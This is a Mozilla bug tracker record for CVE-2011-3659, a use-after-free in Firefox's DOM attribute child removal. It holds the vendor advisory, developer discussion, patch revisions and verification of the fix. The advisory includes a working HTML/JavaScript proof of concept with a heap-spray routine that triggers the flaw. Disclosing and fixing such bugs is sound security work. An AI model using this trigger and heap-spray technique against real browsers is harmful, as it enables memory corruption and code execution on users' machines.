Closed Bug 708198 (CVE-2011-3659) Opened 13 years ago Closed 13 years ago

AttributeChildRemoved Use-After-Free (ZDI-CAN-1413)

Categories

(Core :: DOM: Core & HTML, defect)

Product:
Core
Component:
DOM: Core & HTML
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla11
Tracking Flags:
Tracking Status
firefox8 - wontfix
firefox9 - wontfix
firefox10 + verified
firefox11 + verified
firefox-esr10 --- unaffected
status1.9.2 --- unaffected

People

(Reporter: dveditz, Assigned: khuey)

References

Details

(Keywords: csectype-uaf, regression, Whiteboard: [sg:critical][qa!])

Crash Data

Attachments

(2 files, 3 obsolete files)

PoC from comment 0
680 bytes, text/html
Details
Patch v4
1.46 KB, patch
jst
: review+
akeybl
: approval-mozilla-aurora+
Details | Diff | Splinter Review
Attached file PoC from comment 0 — 
ZDI-CAN-1413: Mozilla Firefox AttributeChildRemoved Use-After-Free
Remote Code Execution Vulnerability


-- CVSS -----------------------------------------

7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P


-- ABSTRACT -------------------------------------

TippingPoint has identified a vulnerability affecting the following
products:

  Mozilla Firefox


-- VULNERABILITY DETAILS ------------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Under certain circumstances, removal of child nodes from the
nsDOMAttribute can allow for a child to still be accessible after
removal due to a premature notification of AttributeChildRemoved.

Please observe the code below from base/src/nsDOMAttribute.cpp:


void nsDOMAttribute::doRemoveChild(bool aNotify)
{
  if (aNotify) {
    nsNodeUtils::AttributeChildRemoved(this, mChild);
  }

  static_cast<nsTextNode*>(mChild)->UnbindFromAttribute();
  NS_RELEASE(mChild);
  mFirstChild = nsnull;
}



As can be seen above, a call to the function AttributeChildRemoved()
happens before mFirstChild is set to NULL. Registered mutation
observers implementing interface nsIMutationObserver2 will have
callback function AttributeChildRemoved. Since mFirstChild is not set
to NULL until after this call is made, this means the removed child
will be accessible after it has been removed. This use-after-free
allows for arbitrary code execution by an attacker.

The code below can used to trigger and demonstrate the vulnerability:
---------------
Begin Code Snip
---------------

<html>
<head>
<script>
function run() {
  var attr = document.createAttribute("foo");
  attr.value = "bar";

  var ni = document.createNodeIterator(
    attr, NodeFilter.SHOW_ALL,
    {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
    false);

  ni.nextNode();
  ni.nextNode();
  ni.previousNode();

  attr.value = null;

  // gc & heap spray
  const addr = unescape("%uc3c4%uc1c2");
  var container = new Array();
  var small = addr;
  while (small.length != 30)
    small += addr;
  for (i = 0; i < 1024*1024*2; ++i)
    container.push(unescape(small));

  ni.referenceNode;
  alert("PoC failed");
}
</script>
</head>
<body onload="run();">
</body>
</html>


----------------
End Of Code Snip
----------------

-- CREDIT ---------------------------------------

This vulnerability was discovered by:

   regenrecht
Appears to be a regression from bug 590771
bp-54f3c170-d0ed-4425-bf02-121d32111206
Blocks: CVE-2010-3766
Crash Signature: [@ nsNodeIterator::GetReferenceNode ]
status1.9.2: --- → unaffected
status-firefox10: --- → affected
status-firefox8: --- → affected
status-firefox9: --- → affected
Keywords: regression
Whiteboard: [sg:critical]
ACID3 has changed. Let's just remove the ability to create node iterators in attribute nodes!
Alias: CVE-2011-3659
We should file a separate bug on removing the ability to create node iterators, and I guess this could depend on it. That doesn't sound like the kind of thing we would take on Beta and maybe not Aurora so is there a more localized fix for the security problem at hand?
status-firefox11: --- → affected
Kyle, Mounir is out of town this week, could you look into this? I'd be happy to kill features here, but that's not something I want to do for 9 or 10, which means we need a narrower fix here before we kill off this feature. Whether we can do this for 9 any more is questionable, but for 10 we most likely can still fix this.
Actually re-assigning.
Assignee: mounir → khuey
I'll dig into this first thing in the morning, but I really doubt this can make 9 given that code freeze is tomorrow evening.
Attached patch Patch (obsolete) — — Splinter Review 
So, fixing the crash isn't too hard, but I'm not sure what else may need to be done.  This fixes up nsDOMAttribute::doRemoveChild to put mChild and mFirstChild in a consistent state before notifying observers, and then continues to do the unbinding after notifying observers (this matches nsINode::doRemoveChildAt).

However, I don't know if we need the mutation guard/auto doc update stuff here.  Calls to nsDOMAttribute::doRemoveChild that come through RemoveChildAt have that ...
Attachment #580228 - Flags: review?(jst)
Attached patch Patch (obsolete) — — Splinter Review 
After reading what 1.9.2 looks like I think we want all calls to go through the mozAutoDocUpdate machinery.  This unifies us back into a single codepath like we had before Gecko 2.
Attachment #580228 - Attachment is obsolete: true
Attachment #580228 - Flags: review?(jst)
Attachment #580237 - Flags: review?(jst)
Attached patch Patch v3 (obsolete) — — Splinter Review 
jst points out that NS_RELEASE does in fact set the pointer it operates on to null.
Attachment #580237 - Attachment is obsolete: true
Attachment #580237 - Flags: review?(jst)
Attachment #580243 - Flags: review?(jst)
Attachment #580243 - Flags: review?(jst) → review+
Attachment #580243 - Flags: approval-mozilla-aurora?
Attached patch Patch v4 — — Splinter Review 
There was a bug in the previous patch.  The end of RemoveChildAt sets the value to null, which we don't want to do in all situations (like the one where we're blowing away mChild because we changed the value!).
Attachment #580243 - Attachment is obsolete: true
Attachment #580243 - Flags: approval-mozilla-aurora?
Attachment #580370 - Flags: review?(jst)
Attachment #580370 - Flags: review?(jst) → review+
Attachment #580370 - Flags: approval-mozilla-aurora?
This got merged to m-c today:
https://hg.mozilla.org/mozilla-central/rev/7a6b3a3c0a92
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Comment on attachment 580370 [details] [diff] [review]
Patch v4

[Triage Comment]
Approved for Aurora. Please land on Monday 12/19 or earlier in order to make the cut-over to Beta.
Attachment #580370 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
Whiteboard: [sg:critical] → [sg:critical][qa+]
Verified fixed in Firefox 11.0b6 using attached testcase.
status-firefox11: fixed → verified
Why wasn't this verified for 10?
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> Why wasn't this verified for 10?

I guess it was missed. At any rate, I've not verified it using Firefox 10.0.2.
Status: RESOLVED → VERIFIED
status-firefox10: fixed → verified
Whiteboard: [sg:critical][qa+] → [sg:critical][qa!]
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #17)
> (In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> > Why wasn't this verified for 10?
> 
> I guess it was missed. At any rate, I've not verified it using Firefox
> 10.0.2.

Obviously, that should have read "I've now verified it", not not.
Attachment #579608 - Attachment is private: true
Group: core-security
status-firefox-esr10: --- → unaffected
Attachment #579608 - Attachment is private: false
Keywords: csectype-uaf
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: